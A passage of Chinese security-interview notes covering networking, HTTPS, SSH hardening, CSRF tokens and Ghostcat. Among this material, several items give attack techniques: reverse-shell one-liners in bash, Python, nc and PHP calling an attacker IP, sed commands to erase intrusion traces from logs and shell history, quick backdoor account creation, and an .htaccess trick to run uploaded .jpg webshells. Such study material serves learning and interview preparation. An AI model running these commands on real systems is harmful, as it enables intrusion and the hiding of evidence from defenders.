5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操作,5.0以上是多用户多操做。
26.token和referer做横向对比,谁安全等级高?
token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)
27.对referer的验证,从什么角度去做?如果做,怎么杜绝问题
对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。
28.token攻击方式
一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,
二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
信息泄露有可能是缓存、日志、get,也有可能是利用跨站
很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的
29.Linux日志清理
web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除
e.g. sed -i -e ‘/192.169.1.1/d’
history命令的清除,也是对~/.bash_history进行定向清除
wtmp日志的清除,/var/log/wtmp
登录日志清除 /var/log/secure
30.端口查看命令,netstat 和 ss 命令的区别和优缺点
netstat -antp
ss -l
ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
31.反弹 shell
1.linux命令反弹
首先kali使用nc监听7777端口
nc -lvp 7777
目标机执行命令
bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1
bash -i >& /dev/tcp/x.x.x.x/4444 0 >& 1
2.使用python反弹
kali监听
nc -lvp 7777
目标机执行命令
python -c "import os,socket,subprocess;s=socket.socket (socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.146',7777));os.dup2(s.fileno(),0);os.dup2 (s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
3.使用nc反弹shell,前提是目标服务器存在nc
kali 监听
nc -lvp 777
目标服务器回连
nc -e /bin/bash 192.168.43.151 7777
4. 使用php反弹shell
kali监听
目标服务器执行命令
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'
或者这条
php -r '$sock=fsockopen("192.168.1.146",7777);exec("/bin/bash -i <&3 >&3 2>&3");'
32.linux提升SSH的安全性
SSH 登录时有两种验证方式:
密码认证,要求用户每次登录服务器的时候都要输入密码
密钥认证,客户端的公钥先保存在服务器的.ssh/authorized_keys中,登录时使用该 公钥自动验证,认证成功就不用输入密码都能登录
措施:
把/etc/ssh/sshd_config中的PasswordAuthentication yes修改为、
PasswordAuthentication no 再重启一下服务
systemctl restart sshd
33.如何一条命令查看文件内容最后一百行
tail -n 100 filename
34.SSL握手过程
建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。
35.TCP三次握手以及四次挥手
三次握手:
(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
(3)客户端收到服务器端返回的SYN、ACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。
四次挥手详解:
tcp 四次挥手其实可以分为两个阶段
第一:
客户端至服务器的半双工连接关闭
客户端向服务器发送 FIN 信号,进入 FIN_WAIT1 的状态,等待服务器的 ACK 信号
收到服务器的 ACK 后,进入 FIN_WAIT2
第二:
服务器至客户端的半双工连接关闭
客户端收到服务器发来的 FIN 后,发送 ACK,并进入 TIME_WAIT,等待 2msl,若无异常,则客户端认为连接成功关闭
服务器收到客户端发来的 ACK 后,关闭连接
36.TCP和UDP协议区别
tcp面向连接,udp面向报文
tcp对系统资源的要求多 udp结构简单
tcp保证数据完整性和顺序,udp不保证
TCP 是面向流的可靠数据传输连接
UDP 是面向数据包的不可靠无连接
37.https相关知识
37.1.建立过程:
a、客户端发送请求到服务器端
b、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
c、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端
d、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端
e、客户端使用共享密钥解密数据
f、SSL加密建立
37.2.http构成
HTTP 协议主要由三大部分组成:
起始行(start line):描述请求或响应的基本信息;
头部字段(header):使用 key-value 形式更详细地说明报文;
消息正文(entity):实际传输的数据,它不一定是纯文本,可以是图片、视频等二进制数据。
37.3.https抓包
使用https依旧会被抓包,常规下抓包工具代理请求后抓到的包内容是加密状态,无法直接查看。
HTTPS 只防止用户在不知情的情况下通信被监听,如果用户主动授信,是可以构建“中间人”网络,代理软件可以对传输内容进行解密。
38.中间人攻击
过程原理:
1.本地请求被劫持(如DNS劫持等),所有请求均发送到中间人的服务器
2.中间人服务器返回中间人自己的证书
3.客户端创建随机数,通过中间人证书的公钥对随机数加密后传送给中间人,然后凭随机数构造对称加密对传输内容进行加密传输
4.中间人因为拥有客户端的随机数,可以通过对称加密算法进行内容解密
5.中间人以客户端的请求内容再向正规网站发起请求
6.因为中间人与服务器的通信过程是合法的,正规网站通过建立的安全通道返回加密后的数据
7.中间人凭借与正规网站建立的对称加密算法对内容进行解密
8.中间人通过与客户端建立的对称加密算法对正规内容返回的数据进行加密传输
9.客户端通过与中间人建立的对称加密算法对返回结果数据进行解密
由于缺少对证书的验证,所以客户端虽然发起的是 HTTPS 请求,但客户端完全不知道自己的网络已被拦截,传输内容被中间人全部窃取。
39.Wireshark流量分析
wireshark简单的过滤规则
过滤ip:
过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;
过滤端口:
过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80
协议过滤:
直接输入协议名即可,如http协议http
http模式过滤:
过滤get/post包http.request.mothod=="GET/POST"
40.Linux一句话添加账户
useradd -p `openssl passwd 123456` guest
useradd test;echo -e "123456n123456n" |passwd test
useradd guest;echo 'guest:123456'|chpasswd
41.网站根目录下有.htaccess文件,利用方式
插入
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.jpg文件会被解析成.php文件。
.htaccess文件是apache服务器的一个配置文件,负责相关目录下的网页配置
通过.htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、
禁止目录列表、配置默认文档等功能
1.创建htaccess文件,编辑内容为:
SetHandler application/x-httpd-php
他的意思是将该目录下的所有文件解析为php文件来执行
2.如果指定文件名的文件,才能被当做PHP解析,
内容为
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
它将该目录下匹配的jpg文件解析为php执行,
一般黑名单验证的上传成功几率比较大,白名单什么的并无卵用,
先上传这样一个后缀为htaccess的文件,在上传一个.jpg的一句话,这样即使上传的一句话后缀为jpg,依然可以连接一句话。
42.Struct2漏洞攻击字段,weblogic漏洞攻击字段
Struct2攻击Content-Type字段。
weblogic自己构建数据包,单独构建一个攻击字段。
43.日志位置
LINUX日志文件的来默认路径是:/var/log
下面是几个重要的日志文件的路径及其包含的信息:
/var/log/syslog:它和/etc/log/messages日志文件不同,它只记录警告信息源,常常是系统出问题的信息。百
/var/log/messages:包括整体系统信息,其中也包含系统启动期间的日志。此外,还包括mail,cron,daemon,kern和auth等内容。
/var/log/user.log:记录所有等级用户信息的日志。
/var/log/auth.log:包含系统授权信息,包括用户登录和使用的权限机制等。
/var/log/daemon.log:包含各种系统后台守护进程日志信息。
Windows日志位置
开始 - 运行 - 输入抄eventvwr.msc - 然后找到日志中的system 日志,在里面的event ID一行中排下序,然后拖到event ID 是 1074的记录 - 这些就是上次谁重启这个zd服务器的日志记录。
测试在Windows 2008 Server 中成功。
在windows 2003 server中也是一样的。
你到这个目录下自己分析,比如你系统在D,则目录为D:\windows\system32\config
44.幽灵猫漏洞深入研究
44.1.描述:
Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
由于Tomcat默认开启的AJP服务。端口号为8009,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web上的任意文件。
44.2.原理
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
44.3.利用方式
利用DefaultServlet实现任意文件下载:
当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,通过serveResource方法来获取资源文件,通过getRelativePath来获取资源文件路径,然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。
通过jspservlet实现任意后缀文件包含
当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件,控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.
44.4.解决方案
1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉
2、配置ajp配置中的secretRequired跟secret属性来限制认证
45.线程与进程
解释:
进程(Process) 是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。 在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。程序是指令、数据及其组织形式的描述,进程是程序的实体。
线程(thread) 是操作系统能够进行运算调度的最小单位。它被包含在进程之中,是进程中的实际运作单位。一条线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程并行执行不同的任务。
区别:
线程是程序执行的最小单位,而进程是操作系统分配资源的最小单位;
一个进程由一个或多个线程组成,线程是一个进程中代码的不同执行路线;
进程之间相互独立,但同一进程下的各个线程之间共享程序的内存空间(包括代码段,数据集,堆等)及一些进程级的资源(如打开文件和信号等),某进程内的线程在其他进程不可见;
调度和切换:线程上下文切换比进程上下文切换要快得多
46.IDS、IPS
IDS:入侵检测系统
一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备。
它与其他网络安全设备的不同之处便在于,IDS是一种积极主动的安全防护技术。
IPS:入侵防御系统